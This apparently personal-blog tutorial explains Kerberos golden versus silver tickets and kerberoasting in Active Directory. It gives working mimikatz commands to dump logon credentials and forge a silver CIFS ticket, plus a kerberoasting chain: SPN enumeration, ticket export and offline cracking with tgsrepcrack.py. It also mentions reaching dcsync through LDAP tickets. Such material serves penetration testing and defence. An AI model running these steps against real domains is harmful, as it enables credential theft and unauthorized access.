An attacker has obtained a long term key for a service account. Often obtained via kerberoast against accounts with a SPN and offline cracking; but also via taking credentials from a compromised machine with mimikatz. PAC validation can fight this by verifying the PAC but it is rare.

Little more information:

A golden ticket is a TGT for the target account. With golden tickets, the attacker still fronts up to a domain controller asking for service tickets to the things the attacker would like.

A silver ticket is slightly different…

With a silver ticket, the end result is the service ticket. This means that the attacker does not (typically) interact with domain controllers at all. The silver ticket is based on the long term credentials of the victim account (the password). Which means that a single ticket is a per-account, per service thing; whereas a golden ticket is able to go off an get service tickets for all the services (but it needs to front up to a domain controller with the dodgy TGT each time).

To get a silver ticket set up on a compromised machine, use mimikatz:

privilege::debug
sekurlsa::logonpasswords

note the NTLM hash, then

kerberos::golden /admin:harry /id:1106 /domain:chadduffey.com /sid:S-1-5-21-4444444-555555-1104 /target:fs1.chadduffey.com /rc4:a92321rewhr2432aaabtrgeta2343211 /service:cifs /ptt

There are two interesting things in the example:

1. We use the golden ticket command, that’s ok
2. We are requesting a CIFS ticket here but it is common to need multiple service tickets for a particular function. For example, WinRM needs a service ticket for both HOST and HTTP. LDAP is an interesting one because you need just the one and it will let you go on and perform dcsync operations if you can get a ticket with enough rights on the domain head (was exchange server up until recent patches).

While we are here:

To set yourself up with silver tickets via kerberoasting: Get the tools: https://github.com/nidem/kerberoast

Optionally, get all SPN’s in the environment with:

setspn -T domain.com -Q */*

<

Or, use the script that comes with the kerberoast toolkit called “getuserSPNs.ps1”. User SPN’s are a better approach for kerberoasting because the computer passwords are chosen by a computer, and they are long. They are going to be hard to crack offline. With user (service account) passwords we have a better chance of cracking the hash.

We use the weirdly named account with hope that a lazy admin has used a bad password:

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSVC/exchange.chadduffey.com"

We extract the key material from memory using mimikatz (key material obtained from TGSREP):

kerberos::list /export

We take that file, and feed it into tgsrepcrack.py which included with kerberoast package. It’s worth mentioning that other options are available in the kerberoast package, including kirbi2john.py.

python tgsrepcrack.py wordlist.txt 1-chad@MSSQLSvc~exchange.chadduffey.com~1433-CHADDUFFEY.COM.kirbi

At this point, we have the credentials for the account “simpleservice@chadduffey.com” and are free to do whatever that account is able to do.